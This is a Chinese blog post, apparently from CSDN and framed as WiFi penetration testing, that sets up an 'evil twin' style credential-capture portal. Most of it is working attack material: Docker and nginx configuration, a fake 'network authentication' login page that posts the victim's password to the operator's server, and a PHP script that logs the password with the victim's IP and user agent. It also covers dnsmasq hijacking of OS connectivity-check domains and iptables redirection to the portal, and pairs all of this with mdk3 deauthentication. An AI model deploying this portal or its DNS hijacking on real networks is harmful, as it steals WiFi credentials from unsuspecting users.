无需监听网卡！利用企业路由器门户功能实现WiFi渗透测试

已于 2025-05-03 21:05:14 修改
阅读量956 收藏 27
点赞数 16
CC 4.0 BY-SA版权
文章标签： linux docker 容器 运维 服务器 安全 云计算
于 2025-05-03 20:52:25 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/DUTYC/article/details/147687138

[!NOTE]

前言:当传统渗透测试工具（如Fluxion）因网卡限制无法创建AP时，可利用企业路由器原生门户功能实现更稳定的密码捕获环境

方案预览

[!TIP]

方案一: 企业路由器门户功能+本地nginx服务器 #需要路由器支持,配置简单

方案二: 普通路由器+DNSmasq 服务器+nginx服务器 #兼容性

[!IMPORTANT]

请配合mdk3工具使用

deepseek_mermaid_20250503_faeebb

方案一: 企业路由器门户功能+本地服务器(nginx+php)

1.项目结构

wifi-portal/
├── docker-compose.yml
├── nginx/
│   └── default.conf
├── php/
│   └── log_password.php
├── html/ (html文件放这里)
│   └── index.html  
└── logs/  密码输入记录及nginx日志文件存放处
    └── auth_attempts.log

2. 修正容器通信配置

更新docker-compose.yml
version: '3.8'

services:
  web:
    image: nginx:alpine
    ports:
      - "80:80"
    volumes:
      - ./nginx/default.conf:/etc/nginx/conf.d/default.conf
      - ./html:/var/www/html
      - ./php:/var/www/html/api
      - ./logs:/var/log/nginx
    networks:
      - portal_net
    depends_on:
      - php

  php:
    image: php:8.2-fpm-alpine
    volumes:
      - ./php:/var/www/html/api
      - ./html:/var/www/html
      - ./logs:/var/log
    networks:
      - portal_net
    environment:
      - PHP_LOG_ERRORS=On
      - PHP_LOG_ERRORS_MAX_LEN=1024

networks:
  portal_net:
    driver: bridge
关键修改说明：
  1. 显式声明了portal_net网络
  2. 两个服务都连接到同一网络
  3. 确保服务名称(web/php)与Nginx配置一致

3. 修正Nginx配置

nginx/default.conf
server {
    listen 80;
    server_name localhost;
    
    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    root /var/www/html;
    index index.html;

    location / {
        try_files $uri $uri/ =404;
    }

    location /api {
        alias /var/www/html/api;
        try_files $uri $uri/ /api/log_password.php?$query_string;
        
        location ~ \.php$ {
            fastcgi_pass php:9000;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME $request_filename;
            include fastcgi_params;
        }
    }
}

4. index.html门户页面框架,可自行修改

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <!-- ########## 基础配置区（可修改）########## -->
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>网络认证系统</title>  <!-- 页面标题 -->
    
    <!-- ########## CSS样式区（可自定义）########## -->
    <style>
        /* 基础重置 */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: "Microsoft YaHei", Arial, sans-serif;
        }
        
        /* 主容器样式 */
        body {
            background-color: #f5f5f5;
            color: #333;
        }
        .container {
            width: 100%;
            max-width: 400px;
            margin: 20px auto;
            padding: 20px;
        }

        /* 登录框样式 */
        .login-box {
            background: white;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        .login-header {
            background: #1a73e8;  <!-- 顶部栏颜色 -->
            color: white;
            padding: 15px;
            text-align: center;
            font-size: 18px;
        }

        /* 表单元素 */
        .form-group {
            margin: 15px;
        }
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
        }
        .form-group input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        .submit-btn {
            background: #1a73e8;  <!-- 按钮颜色 -->
            color: white;
            border: none;
            padding: 12px;
            width: 100%;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
        }
        .submit-btn:hover {
            background: #0d5bba;  <!-- 按钮悬停颜色 -->
        }

        /* 错误提示 */
        .error-msg {
            color: #d32f2f;
            padding: 10px;
            text-align: center;
            display: none;
        }
    </style>
</head>
<body>
    <!-- ########## 页面结构区（可自由调整）########## -->
    <div class="container">
        <div class="login-box">
            <!-- 标题区 -->
            <div class="login-header">
                <h2>网络认证</h2>  <!-- 标题文字 -->
            </div>
            
            <!-- 错误提示区 -->
            <div class="error-msg" id="errorMsg">
                网络连接异常，请重试
            </div>
            
            <!-- 表单区 -->
            <form id="authForm">
                <div class="form-group">
                    <label for="username">用户名</label>  <!-- 字段名称 -->
                    <input type="text" id="username" placeholder="请输入账号">  <!-- 占位符 -->
                </div>
                
                <div class="form-group">
                    <label for="password">密码</label>
                    <input type="password" id="password" placeholder="请输入密码">
                </div>
                
                <div class="form-group">
                    <button type="submit" class="submit-btn">立即认证</button>  <!-- 按钮文字 -->
                </div>
            </form>
        </div>
    </div>

    <!-- ########## JavaScript逻辑区（需修改API地址）########## -->
    <script>
        document.getElementById('authForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            // 获取表单数据
            const formData = {
                username: document.getElementById('username').value,
                password: document.getElementById('password').value
            };

            // 显示加载状态
            const btn = this.querySelector('button');
            btn.disabled = true;
            btn.textContent = '认证中...';

            // ########## 修改点：替换为你的API地址 ##########
            fetch('http://你的服务器IP/api/auth', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(formData)
            })
            .then(response => response.json())
            .then(data => {
                if(data.success) {
                    // 认证成功处理
                    alert('认证成功！');
                } else {
                    // 显示错误信息
                    document.getElementById('errorMsg').style.display = 'block';
                }
            })
            .catch(error => {
                console.error('Error:', error);
                document.getElementById('errorMsg').textContent = '网络连接失败';
                document.getElementById('errorMsg').style.display = 'block';
            })
            .finally(() => {
                btn.disabled = false;
                btn.textContent = '立即认证';
            });
        });
    </script>
</body>
</html>

5.php脚本

<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');

// 获取客户端真实IP
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'unknown';

// 准备日志数据
$logData = [
    'date' => date('Y-m-d H:i:s'),
    'ip' => $ip,
    'password' => json_decode(file_get_contents('php://input'), true)['password'] ?? '',
    'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? '',
    'referer' => $_SERVER['HTTP_REFERER'] ?? ''
];

// 记录到文件
$logFile = '/var/log/auth_attempts.log';
file_put_contents($logFile, json_encode($logData, JSON_UNESCAPED_UNICODE)."\n", FILE_APPEND);

// 返回成功响应
echo json_encode(['status' => 'success']);
?>

6. 创建日志目录

mkdir -p logs
touch logs/auth_attempts.log

7. 启动容器

docker-compose up -d

8. 查看日志

#在RHEL / CentOS / Fedora
yum install -y multitail
#在Debian / Ubuntu / Linux 
sudo apt-get install multitail

multitail logs/auth_attempts.log

方案二: 普通路由器+DNSmasq 服务器+nginx+php

可行性分析

  1. DNS劫持方案：
    • ✅ 优点：简单易实现，适合小规模部署
    • ❌ 缺点：只能劫持HTTP流量，HTTPS网站会显示证书警告
    • ⚠️ 限制：现代浏览器会阻止混合内容
  2. 更好的替代方案：
    • 使用Captive Portal技术（企业路由器标准功能）
    • DHCP Option 43/60配合强制门户
    • 基于ARP/DHCP的流量拦截

推荐实施方案（基于DNS劫持优化版）

1. DNS服务器配置（dnsmasq）
# 安装dnsmasq
sudo apt install dnsmasq

# 配置文件 /etc/dnsmasq.conf
interface=eth0
listen-address=192.168.1.53
no-dhcp-interface=
no-resolv
server=8.8.8.8
server=8.8.4.4
address=/connectivitycheck.gstatic.com/192.168.1.52
address=/www.msftconnecttest.com/192.168.1.52
address=/captive.apple.com/192.168.1.52
2. 路由器配置
  1. DHCP设置中将DNS服务器指向您的本地服务器(例如: 192.168.1.53)
  2. 关闭路由器自带的DNS转发功能
3. Nginx强制门户配置
server {
    listen 80;
    server_name connectivitycheck.gstatic.com www.msftconnecttest.com captive.apple.com;
    
    location / {
        rewrite ^(.*)$ http://192.168.1.52/portal permanent;
    }
}
4. 完整工作流程
  1. 设备连接WiFi → 请求DHCP配置
  2. 获取到您指定的DNS服务器(192.168.1.53)
  3. 设备进行网络连通性测试时：
    • Android访问 connectivitycheck.gstatic.com
    • Windows访问 www.msftconnecttest.com
    • iOS访问 captive.apple.com
  4. DNS服务器返回您的服务器IP(192.168.1.52)
  5. Nginx 301重定向到认证页面

更专业的实现方案（推荐）

使用Captive Portal技术
# 安装必要的工具
sudo apt install iptables hostapd

# 创建网络命名空间
ip netns add captive

# 设置iptables规则
iptables -t mangle -N captive
iptables -t mangle -A PREROUTING -j captive
iptables -t mangle -A captive -j MARK --set-mark 1
iptables -t nat -A PREROUTING -m mark --mark 1 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.52:80
优化后的DNS配置
# /etc/dnsmasq.conf 追加
dhcp-option=6,192.168.1.53  # 强制分配DNS服务器
dhcp-option=160,http://192.168.1.52/portal  # Android Captive Portal提示

各系统兼容性处理

  1. Android设备：

    server {
    listen 80;
    server_name connectivitycheck.gstatic.com;
    return 204;  # 必须返回204才会触发portal页面
}

  2. iOS/macOS设备：

    server {
    listen 80;
    server_name captive.apple.com;
    return 200 '<HTML><HEAD><TITLE>Success</TITLE></HEAD><BODY>Success</BODY></HTML>';
    add_header Content-Type text/html;
}

  3. Windows设备：

    server {
    listen 80;
    server_name www.msftconnecttest.com;
    return 200 '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html><head><title>Microsoft NCSI</title></head><body>Microsoft NCSI</body></html>';
    add_header Content-Type text/html;
}

检测与调试工具

  1. 测试DNS解析：

    dig @192.168.1.53 connectivitycheck.gstatic.com

  2. 查看iptables规则：b

    iptables -t mangle -L -v -n

  3. 抓包分析：

    tcpdump -i eth0 port 53 or port 80

注意事项

  1. HTTPS处理：

    • 需要自签名证书并让客户端信任
    • 或使用SSL剥离技术（不推荐）

  2. 法律合规：

    • 仅在自己的网络实施
    • 添加隐私声明页面

  3. 日志记录：

    log_format portal '$remote_addr - $http_user_agent';
access_log /var/log/nginx/portal.log portal;

这个方案比纯DNS劫持更可靠，能处理各种操作系统的网络检测机制，且不会导致浏览器安全警告。实施时建议先在测试网络验证效果。

LECREATE
关注
渗透测试基础(五) 获取WiFi密码
Venus_majian
06-20 632
使用Kali进行WiFi密码获取
ISIS路由渗透
Richardlygo的博客
08-29 1600
原理概述在IS-IS网络中，所有的Level-2和Level-1-2路由器构成了一个连续的骨干区域。Level-1区域必须且只能与骨干区域相连，不同的Level-1区域之间不能直接相连。Level-1区域内的路由信息会通过Level-1-2路由器通报给Level-2区域，即Level-1-2路由器会将学习到的Level-1路由信息封装进Level-2LSP，并将此Level-2LSP传递给其他Level-2和Level-1-2路由器。
手机没Root？你照样可以渗透路由器
weixin_34191734的博客
08-15 1123
和Metasploit差不多，RouterSploit是一个强大的漏洞利用框架，用于快速识别和利用路由器中的普通漏洞，它还有个亮点，就是可以在绝大多数安卓设备上运行。 如果你想在电脑上运行，可以阅读这篇文章，而这篇教程则会告诉你如何轻松地在未Root的安卓设备上安装RouterSploit，这样一来，只要你的智能手机可以连接这些有漏洞的路由器，你就可以渗透他们。 RouterSploit vs 路...
IS-IS：10 ISIS路由渗透
weixin_73882207的博客
01-27 1069
level-1 区域内的路由信息会通过 level-1-2 路由器通报给 level-2 区域，即 level-1-2 路由器会将学习到的 level-1 路由信息封装进 level-2 LSP ，并将些 level-2 LSP 传递给其他 level-2 和 level-1-2 路由器。IS-IS 路由渗透指的是Level 1-2 和Level-2 路由将自己知道的其他 Level-1区域以及Level-2区域的路由信息通报给指定的Level-1区域的过程。配置完成，查看一下邻居关系的建立。
路由渗透和路由泄露
weixin_65551798的博客
07-11 1940
因为没有路由泄露之前,r1去往r4的时候是从上面开销值比较大的地方走,但是这个路由表中,不仅有开始的默认路由,现在又多了一些明细路由,虽说路由泄露进来的路由能够感知cost,但是比默认路由小但是,,因为最长掩码匹配原则,他会选择掩码比较长的那一个。因为在r2和r3上都做了路由过滤,在路由过滤调用的acl中,只允许了去往10.0.234.0网段的路由,并且在路由协议上调用acl,在下面默认有一条拒绝所有,所以路由表里面只有这一条路由。但是因为路由泄露把骨干区域所有的路由都进行传递进来了,安全性大度降低。
HCIE学习笔记（1）之ISIS路由渗透
qi__yuan的博客
03-28 6785
文章目录前言一、ISIS路由渗透作用二、相关实验1.普通的ISIS渗透2.成环状的ISIS渗透总结 前言 关于ISIS如有渗透的相关内容，记录学习ISIS的相关心得。 一、ISIS路由渗透作用 通常情况下，Level-1区域内的路由通过Level-1路由器进行管理。所有的Level-2和Level-1-2路由器构成一个连续的骨干区域。Level-1区域必须且只能与骨干区域相连，不同的Level-1区域之间并不相连。 Level-1-2路由器将学习到的Level-1路由信息装进Level-2 LSP，再泛
kali无线渗透之监听wifi网络1_kali 查看wifi发送的信息
最新发布
2501_90213331的博客
01-12 1076
是一个与802.11标准的无线网络分析有关的安全软件，主要功能包括网络侦测、数据包嗅探、WEP和破解。工具可以工作在任何支持监听模式的无线网卡上，并嗅探802.11a802.11b802.11g的数据。下面将对该工具进行详细介绍。是一个套件，在该套件中包括很多个小工具，如表3-2所示。
无线渗透之WiFi密码的监听
Allan的博客
08-03 6552
声明 本文章是审核家庭无线路由器安全性的教程，破解别人的无线路由器密码是违法的。 ​ 首先准备环境 无线网卡（推荐使用免驱的，我这里用的RT3070L） 虚拟机（如果是Windows环境需要虚拟机，我这里用的Vmware15Pro） 虚拟机镜像（可以是任意linux发行版，这里使用了cdlinux，因为集成了水滴，无需单独使用Aircrack-ng） EWSA（windows下的跑包软件，支持多显卡） 字典包（可以使用字典生成器自己按规则生成） .
用最朴素的方法WiFi无线渗透
hackzkaq的博客
04-14 5823
零基础学黑客，搜索公众号：白帽子左一 作者 掌控安全学院-kkkk WPA/WPA2： WPA/WPA2是一种比WEP强壮的加密算法，挑选这种安全类型，路由器将选用Radius服务器进行身份认证并得到密钥的WPA或WPA2安全形式。 因为要架起一台专用的认证服务器，价值对比贵重且保护也很杂乱，所以不推荐不同用户运用此安全类型。 WPA-PSK/WPA2-PSK: WPA-PSK/WPA2-PSK安全类型其实是WPA/WPA2的一种简化版本，它是依据同享密钥的WPA形式，安全性很高，设置也相对简单，适合
通过WIFI渗透到内网服务器和主机
bigblue00的博客
10-26 4765
测试目的：通过WIFI渗透到内网，并对内网进行扫描，收集设备信息，并尽可能的拿到多的权限。 测试设备：两台笔记本电脑 ：PC1, PC2 ; 一个USB无线网卡RT5572; 一个无线AP 测试环境：PC1 WIN10系统，安装虚拟机KALI，桥接上网。利用USB无线网卡破解目标网络的WIFI密码，连接到内部网络。 获取到IP址： 宿主机PC1 IP:10.10.10.103 KALI IP: 10.10.10.110。 宿主机PC2 WIN7系统，安装两个虚拟机WIN7和RHEL7作为测试目标，桥接上网。
ISIS路由渗透实验
将勤补拙
12-07 8533
1.组网要求 网络中的6太路由器的配置了ISIS路由协议，AR1，AR2，作为Level-1路由器，AR3,AR4,作为Level-1/2路由器，属于Area10.。AR5，AR6作为 Level-2路由器属于Area20。除了 AR3上G0/0/1接口的开销值被设为40,其他所有接口的开销值都为缺省值10。要求将Leve2区域中的路由信息渗透到Leve|-1区域,使得 AR1到 Router的路...
iPhone/iPad通过iSH安装Routersploit对路由器进行渗透【AlpineLinux】【Routersploit】【踩坑&绕坑】
TangYuanMaster's Blog
03-04 4047
【最后一次更新:2023.3.4】 请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任～ 「文末见iOS整活计划」 文章目录 1.RSF「routersploit」简介 2.安装RSF 3.RSF渗透演示 3.1RSF模块与其它说明 3.1扫描漏洞 3.2利用漏洞 4.警告 【转载请注明出处及原作者】 1.RSF「routersploit」简介 RouterSploit包含了2
学习笔记——动态路由——IS-IS中间系统到中间系统（特性之路由渗透）
灵韵的博客
07-13 1099
R3转发去往这三个网段的报文时，根据最长前缀匹配原则，便会将报文发往R1，而对于目的IP地址是X业务其他网段的报文，则匹配默认路由进行转发，此时可以通过将R3的GEO/O/O接口IS-IS度量值修改得比GEO/O/1接口更大，使R3将默认路由的下一跳指向R2，来实现上述需求中的第二条在Level-1-2路由器的IS-IS配置视图中，执行import-route isis level2 into level-1命令，可以将Level-2区域中的路由信息渗透到本地Level1区域中。
is-is实验-路由渗透（ip）
PAOMIAN_HAOCHI的博客
12-02 989
r1 [r1]isis 1 [r1-isis-1]net [r1-isis-1]network-entity 49.0001.1111.1111.1111.00 Nov 30 2021 10:19:49-08:00 r1 %%01ISIS/4/START_ENABLE_ISIS(l)[0]:ISIS 256 enable d all ISIS modules. [r1-isis-1]q [r1]int lo0 [r1-LoopBack0]isis enable 1 [r1-LoopBack0]q.
web渗透——路由原理
weixin_44321116的博客
10-13 701
一、路由概述 跨越从源主机到目标主机的一个互联网络来转发数据包的过程（路由器为IP包选择路径的过程） 二、路由表的形成 路由表 路由器中维护的路由条目的集合 路由器根据路由表做路径选择 路由表的形成 直连网段 配置ip，端口up状态 非直连网段 对于非直连的网段，需要静态路由或动态路由，将网段添加到路由表中 路由表优化： 三、静态路由 由管理员手工配置的，是单向的 缺乏灵活性 四、默认路由 当路由器在路由表中找不到目标网络的路由条目时，路由器把请求转发到默认路由接口上 五、交换与路由对比
无线渗透|Wi-Fi渗透思路
2301_80115097的博客
10-30 390
这是我家中的2.4g无线网络，第一个使用桥接模式桥接了CMCC,因为两个路由器都已经安装了最新的固件把秘钥重装漏洞修复了，所以该次实验不会对我的路由器与设备造成损伤或是成功渗透，但是针对现实中像是咖啡店、机场、图书馆类的场景，路由器的固件很有可能并没有升级到最新版本，所以该攻击可能依然有效。2.WPA3:是近几年新出现的无线网络安全保护系统，在WPA2的基础上实现了针对字典法暴力密码破解的难度，如果失败次数过多，AP将直接锁定攻击行为，以及取代了PSK使用对等实体验证（SAE）。（资料来自百度百科）
配置IS-IS的路由渗透功 实验详解
zszfs的博客
09-26 2346
配置IS-IS的路由渗透 实验详解
无线渗透 | Wi-Fi渗透思路
m0_60571990的博客
12-02 1604
无线渗透 | Wi-Fi渗透思路
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值